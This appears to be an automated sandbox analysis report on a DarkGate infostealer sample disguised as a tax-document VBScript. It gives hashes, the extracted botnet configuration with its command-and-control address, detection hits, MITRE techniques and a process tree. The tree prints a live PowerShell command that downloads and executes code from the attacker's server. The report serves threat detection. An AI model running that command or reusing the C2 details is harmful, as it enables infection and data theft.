darkgate | 4d86f191c4d7a5684116b671618669ec2bdd6bc08337fa2573c773386a14b2df

General

Target

1040documentpdf.vbs
Size

5KB
MD5

e02b999dc0c9c4bba51b28c6e733055a
SHA1

5eb9ebe7b853dc4bb3167f7d935ee9b62ab9fbb0
SHA256

4d86f191c4d7a5684116b671618669ec2bdd6bc08337fa2573c773386a14b2df
SHA512

5713f924b7d88072b1bbf61089802f4ffddcb84c431cf9caa0ff02330e6070fe27259aba2e7455e2b113ed3740c8fea579199c5fc8242f10cb792fb2b35312d6
SSDEEP

96:wwUEmyDTEBzylU+/V9rkcQ3tZUHg4KRZZoPC8Wuo9d3uV0I:wwU0TEBzj+/V9g/tZUHg4KR/oa8Wuo9u

Score

10^/10

darkgate xr_itzx001 stealer

Malware Config

Extracted

Family

darkgate

Botnet

xr_itzx001

C2

45.140.146.2

Attributes

anti_analysis
true
anti_debug
false
anti_vm
false
c2_port
443
check_disk
true
check_ram
true
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
aebaZrVV
minimum_disk
90
minimum_ram
4068
ping_interval
6
rootkit
false
startup_persistence
true
username
xr_itzx001

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral1/memory/3964-35-0x0000000005C20000-0x0000000005F6F000-memory.dmp	family_darkgate_v6
behavioral1/memory/3964-36-0x0000000005C20000-0x0000000005F6F000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	3208	powershell.exe
16	3208	powershell.exe
22	3208	powershell.exe
32	3208	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3964	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3208	powershell.exe
3208	powershell.exe
3208	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3208	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 3208	1700	WScript.exe	86
PID 1700 wrote to memory of 3208	1700	WScript.exe	86
PID 3208 wrote to memory of 3964	3208	powershell.exe	98
PID 3208 wrote to memory of 3964	3208	powershell.exe	98
PID 3208 wrote to memory of 3964	3208	powershell.exe	98

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1040documentpdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '45.140.146.2:443/ivpzhehw')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\temp\AutoIt3.exe
    "C:\temp\AutoIt3.exe" script.a3x
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:3964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2h2njji.fn4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\temp\script.a3x

Filesize
574KB

MD5
9972e775b90dad80ca4efeb6d52b1e46

SHA1
db0bded33c2b0a1e95caeddfeab50fd8b609a048

SHA256
a629540459c2f4c213a463aa53efe555f659e149033a5d19bbbc72b6dd1a7bb5

SHA512
ff3d0bc21908ff7b989bc95e105ceb9bd3b51e48b0aff55149000e0ad882c5e81b64192cdb13007ab5d6c46e46ed9aa3241e8c6cc6852079a545c977d5f2d078

Download Submit
C:\temp\test.txt

Filesize
76B

MD5
6d0ea7ecc08e015c02d1ff0d92eefa92

SHA1
7a56bf6984e32f6b17cccde99c8d410258f84c8c

SHA256
ff25440a497d42428214b76aa20138bb5d9645e5ad2d30e08d17df783b986471

SHA512
a977a2d26d811598201f7e87989662716bb288290cc4fa61c56996a061465d7ae0d2d71d669ff2e0e9f6587cba451278f0a2dc4e5ec9f5843307b323b45541b2

Download Submit
memory/3208-11-0x000001727EED0000-0x000001727EEE0000-memory.dmp

Filesize
64KB

Download
memory/3208-13-0x000001727EED0000-0x000001727EEE0000-memory.dmp

Filesize
64KB

Download
memory/3208-14-0x000001727F660000-0x000001727F822000-memory.dmp

Filesize
1.8MB

Download
memory/3208-12-0x000001727EED0000-0x000001727EEE0000-memory.dmp

Filesize
64KB

Download
memory/3208-29-0x00007FFE50010000-0x00007FFE50AD1000-memory.dmp

Filesize
10.8MB

Download
memory/3208-10-0x00007FFE50010000-0x00007FFE50AD1000-memory.dmp

Filesize
10.8MB

Download
memory/3208-9-0x000001727EE90000-0x000001727EEB2000-memory.dmp

Filesize
136KB

Download
memory/3964-34-0x0000000004580000-0x0000000005550000-memory.dmp

Filesize
15.8MB

Download
memory/3964-35-0x0000000005C20000-0x0000000005F6F000-memory.dmp

Filesize
3.3MB

Download
memory/3964-36-0x0000000005C20000-0x0000000005F6F000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads